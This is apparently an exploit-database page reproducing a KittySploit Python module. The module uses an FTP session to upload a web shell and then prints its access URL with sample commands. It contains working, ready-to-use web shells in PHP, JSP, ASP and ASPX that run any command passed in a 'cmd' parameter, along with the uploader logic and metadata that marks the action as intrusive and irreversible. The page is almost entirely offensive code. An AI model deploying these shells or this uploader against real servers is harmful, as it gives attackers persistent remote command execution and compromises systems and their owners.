Lucene search
+L

FTP Upload Web Shell

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

FTP Upload Web Shell uploads a shell file to the FTP server for persistent web access.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-


from kittysploit import *
from lib.protocols.ftp.ftp_client import FTPClientMixin
import os
import tempfile
import time

class Module(Post, FTPClientMixin):
    """FTP Web Shell Upload Module"""
    
    __info__ = {
        "name": "FTP Upload Web Shell",
        "description": "Uploads a web shell file to the FTP server for persistent web-based access",
        "author": "KittySploit Team",
        "session_type": SessionType.FTP,
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': ['rce', 'shell', 'file_read'],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': ['shell'],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }
    
    remote_path = OptString(".", "Remote directory to upload webshell", False)
    filename = OptString("shell.php", "Webshell filename", False)
    backdoor_type = OptChoice("php", "Webshell type: php, jsp, asp, aspx", True, choices=["php", "jsp", "asp", "aspx"])
    web_path = OptString("", "Web-accessible path (if different from remote_path)", False)
    
    def check(self):
        """Check if the module can run"""
        session_id_value = str(self.session_id)
        if not session_id_value:
            print_error("Session ID not set")
            return False
        
        if not self.framework or not hasattr(self.framework, 'session_manager'):
            print_error("Framework or session manager not available")
            return False
        
        session = self.framework.session_manager.get_session(session_id_value)
        if not session:
            print_error(f"Session {session_id_value} not found")
            return False
        
        # Try to get FTP connection to verify it works
        try:
            self.open_ftp()
            return True
        except Exception as e:
            print_error(f"FTP connection error: {e}")
            return False
    
    def _generate_php_backdoor(self) -> str:
        """Generate PHP webshell code"""
        return """<?php
// PHP Web Shell Backdoor
// Usage: ?cmd=whoami or ?cmd=ls -la
if (isset($_GET['cmd'])) {
    echo "<pre>";
    $output = shell_exec($_GET['cmd'] . ' 2>&1');
    echo htmlspecialchars($output);
    echo "</pre>";
} else {
    echo "<h2>PHP Web Shell</h2>";
    echo "<form method='GET'>";
    echo "<input type='text' name='cmd' placeholder='Enter command' style='width: 500px;' />";
    echo "<input type='submit' value='Execute' />";
    echo "</form>";
}
?>"""
    
    def _generate_jsp_backdoor(self) -> str:
        """Generate JSP webshell code"""
        return """<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
    Process p = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    out.println("<pre>");
    while ((line = br.readLine()) != null) {
        out.println(line);
    }
    out.println("</pre>");
} else {
    out.println("<h2>JSP Web Shell</h2>");
    out.println("<form method='GET'>");
    out.println("<input type='text' name='cmd' placeholder='Enter command' style='width: 500px;' />");
    out.println("<input type='submit' value='Execute' />");
    out.println("</form>");
}
%>"""
    
    def _generate_asp_backdoor(self) -> str:
        """Generate ASP webshell code"""
        return """<%
' ASP Web Shell Backdoor
' Usage: ?cmd=whoami or ?cmd=dir
cmd = Request("cmd")
If cmd <> "" Then
    Set objWS = CreateObject("WScript.Shell")
    Set objExec = objWS.Exec("cmd /c " & cmd)
    Response.Write "<pre>"
    Response.Write Server.HTMLEncode(objExec.StdOut.ReadAll)
    Response.Write "</pre>"
Else
    Response.Write "<h2>ASP Web Shell</h2>"
    Response.Write "<form method='GET'>"
    Response.Write "<input type='text' name='cmd' placeholder='Enter command' style='width: 500px;' />"
    Response.Write "<input type='submit' value='Execute' />"
    Response.Write "</form>"
End If
%>"""
    
    def _generate_aspx_backdoor(self) -> str:
        """Generate ASPX webshell code"""
        return """<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
    string cmd = Request.QueryString["cmd"];
    if (!string.IsNullOrEmpty(cmd)) {
        ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + cmd);
        psi.RedirectStandardOutput = true;
        psi.RedirectStandardError = true;
        psi.UseShellExecute = false;
        Process p = Process.Start(psi);
        Response.Write("<pre>");
        Response.Write(Server.HtmlEncode(p.StandardOutput.ReadToEnd()));
        Response.Write(Server.HtmlEncode(p.StandardError.ReadToEnd()));
        Response.Write("</pre>");
    } else {
        Response.Write("<h2>ASPX Web Shell</h2>");
        Response.Write("<form method='GET'>");
        Response.Write("<input type='text' name='cmd' placeholder='Enter command' style='width: 500px;' />");
        Response.Write("<input type='submit' value='Execute' />");
        Response.Write("</form>");
    }
}
</script>"""
    
    def _generate_backdoor(self) -> str:
        """Generate webshell code based on type"""
        backdoor_type = self.backdoor_type.lower()
        
        if backdoor_type == 'php':
            return self._generate_php_backdoor()
        elif backdoor_type == 'jsp':
            return self._generate_jsp_backdoor()
        elif backdoor_type == 'asp':
            return self._generate_asp_backdoor()
        elif backdoor_type == 'aspx':
            return self._generate_aspx_backdoor()
        else:
            raise ProcedureError(FailureType.ConfigurationError, f"Unsupported backdoor type: {backdoor_type}. Supported: php, jsp, asp, aspx")
    
    def _test_write_access(self) -> bool:
        """Test if we have write access (non-destructive test)"""
        try:
            connection = self.open_ftp()
            
            # Try to get current directory - if this works, we have at least read access
            # For write access, we'd need to actually try writing, but that can break the connection
            # So we'll just check if we can get directory info
            try:
                connection.pwd()
                # If we can get the current directory, assume we might have write access
                # The actual upload will fail if we don't have write access
                return True
            except:
                return False
        except Exception as e:
            # Don't fail completely, just return False
            return False
    
    def run(self):
        """Run the backdoor upload"""
        try:
            import time
            
            print_info("=" * 70)
            print_info("FTP Web Shell Upload")
            print_info("=" * 70)
            
            # Get connection info
            conn_info = self.get_ftp_connection_info()
            print_info(f"FTP Server: {conn_info.get('host', 'unknown')}:{conn_info.get('port', 21)}")
            print_info(f"Username: {conn_info.get('username', 'unknown')}")
            print_info(f"Webshell Type: {self.backdoor_type}")
            print_info(f"Remote Path: {self.remote_path}")
            print_info(f"Filename: {self.filename}")
            print_info("")
            
            # Test write access (optional, don't fail if test fails)
            print_info("Testing write access...")
            has_write = self._test_write_access()
            if has_write:
                print_success("Write access confirmed")
            else:
                print_warning("Could not verify write access, but will attempt upload anyway...")
            print_info("")
            
            # Generate webshell code
            print_info("Generating webshell...")
            webshell_code = self._generate_backdoor()
            
            # Create temporary file
            temp_file = tempfile.NamedTemporaryFile(mode='w', delete=False, suffix=f'.{self.backdoor_type}')
            temp_file.write(webshell_code)
            temp_file.close()
            
            try:
                # Change to target directory
                if self.remote_path and self.remote_path != ".":
                    try:
                        self.change_directory(self.remote_path)
                        print_info(f"Changed to directory: {self.remote_path}")
                    except Exception as e:
                        print_warning(f"Could not change to {self.remote_path}: {e}")
                
                # Upload webshell
                print_info(f"Uploading webshell: {self.filename}")
                remote_file = f"{self.remote_path}/{self.filename}".replace("//", "/")
                if self.remote_path == ".":
                    remote_file = self.filename
                
                # Ensure binary mode for upload (handled in upload_file, but ensure it here too)
                connection = self.open_ftp()
                try:
                    connection.voidcmd('TYPE I')  # Binary mode
                except:
                    pass  # Some servers don't support TYPE command or it's already set
                
                self.upload_file(temp_file.name, remote_file)
                print_success(f"Web shell uploaded successfully: {remote_file}")
                
                # Get file size
                try:
                    file_size = self.get_file_size(remote_file)
                    if file_size > 0:
                        print_info(f"File size: {file_size} bytes")
                except:
                    pass
                
                # Display access information
                print_info("")
                print_info("-" * 70)
                print_success("Web Shell Information:")
                
                # Display URL
                web_path = self.web_path if self.web_path else self.remote_path
                if web_path and web_path != ".":
                    # Try to construct URL (assuming HTTP on port 80)
                    host = conn_info.get('host', 'target')
                    url = f"http://{host}/{web_path}/{self.filename}".replace("//", "/")
                    print_info(f"Web Shell URL: {url}")
                    print_info(f"Usage: {url}?cmd=whoami")
                    print_info("")
                    print_info("Example commands:")
                    print_info(f"  - {url}?cmd=whoami")
                    print_info(f"  - {url}?cmd=ls -la")
                    print_info(f"  - {url}?cmd=id")
                    print_info(f"  - {url}?cmd=pwd")
                else:
                    print_info(f"Web Shell uploaded to: {remote_file}")
                    print_info(f"Access via: http://<host>/{remote_file}?cmd=<command>")
                    print_info("")
                    print_info("Example commands:")
                    print_info(f"  - http://<host>/{remote_file}?cmd=whoami")
                    print_info(f"  - http://<host>/{remote_file}?cmd=ls -la")
                
                
            finally:
                # Clean up temporary file
                try:
                    os.unlink(temp_file.name)
                except:
                    pass
            
            return True
            
        except ProcedureError:
            raise
        except Exception as e:
            raise ProcedureError(FailureType.Unknown, f"Error uploading webshell: {e}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
5.9Medium risk
Vulners AI Score5.9
3